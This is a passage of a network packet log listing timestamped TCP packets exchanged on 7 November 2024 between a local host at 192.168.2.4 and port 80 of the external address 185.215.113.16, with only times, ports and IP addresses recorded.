Nov 7, 2024 06:01:18.126780987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126784086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126796007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126797915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126807928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126821995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126832962 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126835108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126847029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126847982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126858950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126871109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126873970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126883984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126893044 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126895905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126909018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126912117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126920938 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126935005 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126936913 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126940966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126952887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126956940 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126965046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126979113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126988888 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126992941 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127007961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127016068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127026081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127024889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127047062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127053022 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127060890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127073050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127075911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127084970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127089024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127098083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127105951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127111912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127125978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127129078 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127137899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127151012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127155066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127166986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127167940 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127180099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127191067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127193928 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127203941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127216101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127218008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127228975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127239943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127238989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127252102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127255917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127268076 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127278090 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127281904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127298117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127304077 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127317905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127324104 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127331018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127341032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127343893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127356052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127366066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127368927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127377987 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127382040 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127393961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127403975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127404928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127419949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127425909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127438068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127445936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127449036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127463102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127470970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127475977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127487898 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127495050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127499104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127512932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127513885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127526045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127537966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127549887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127552032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127557993 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127562046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127567053 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127574921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127585888 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127597094 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127599955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127613068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127624989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127629042 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127635002 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127638102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127645016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127655983 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127657890 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127667904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127686024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127686977 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127706051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127707958 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127720118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127727985 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127733946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127748013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127753973 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127759933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127763987 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127773046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127779961 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127784967 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127795935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127806902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127814054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127818108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127830982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127832890 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127841949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127846003 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127860069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127871990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127873898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127882957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127895117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127906084 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127907038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127921104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127928972 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127933025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127944946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127948999 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127959967 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127970934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127974033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.127983093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.127996922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128001928 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128009081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128011942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128026009 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128043890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128045082 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128057957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128067970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128067970 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128072023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128077984 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128083944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128097057 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128103018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128109932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128114939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128123045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128139973 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128145933 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128155947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128159046 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128168106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128182888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128185034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128199100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128210068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128211975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128216982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128221989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128235102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128241062 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128247023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128252983 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128259897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128267050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128273964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128285885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128293991 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128298044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128310919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128314018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128323078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128330946 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128335953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128343105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128354073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128360033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128366947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128377914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128384113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128390074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128403902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128412962 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128415108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128427029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128429890 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128441095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128452063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128452063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128464937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128477097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128485918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128488064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128493071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128499031 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128509045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128510952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128526926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128537893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128542900 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128551960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128562927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128573895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128571033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128588915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128592014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128604889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128616095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128619909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128629923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128635883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128643990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128655910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128664017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128665924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128679037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128685951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128690004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128705025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128707886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128721952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128731966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128734112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128746033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128756046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128763914 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128767014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128778934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128787994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128788948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128801107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128807068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128818989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128830910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128839016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128839970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128853083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128865957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128869057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128875017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128885984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128896952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128907919 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128909111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128921986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128933907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128937006 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128947020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128948927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.128959894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.128974915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129000902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129009962 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129014015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129033089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129043102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129049063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129055023 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129065990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129086971 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129093885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129321098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129339933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129352093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129358053 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129369974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129391909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129399061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129411936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129421949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129443884 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129468918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129506111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129515886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129558086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129631042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129647970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129658937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129667044 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129671097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129679918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129692078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129694939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129703045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129710913 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129717112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129728079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129728079 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129749060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129775047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129781961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129822969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129833937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129863024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129885912 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129898071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129909039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129920959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129931927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129942894 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129962921 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.129980087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.129991055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130001068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130016088 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130044937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130127907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130146027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130156994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130168915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130179882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130187035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130191088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130198002 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130204916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130217075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130217075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130229950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130239964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130244017 CET	80	49834	185.215.113.16	192.168.2.4
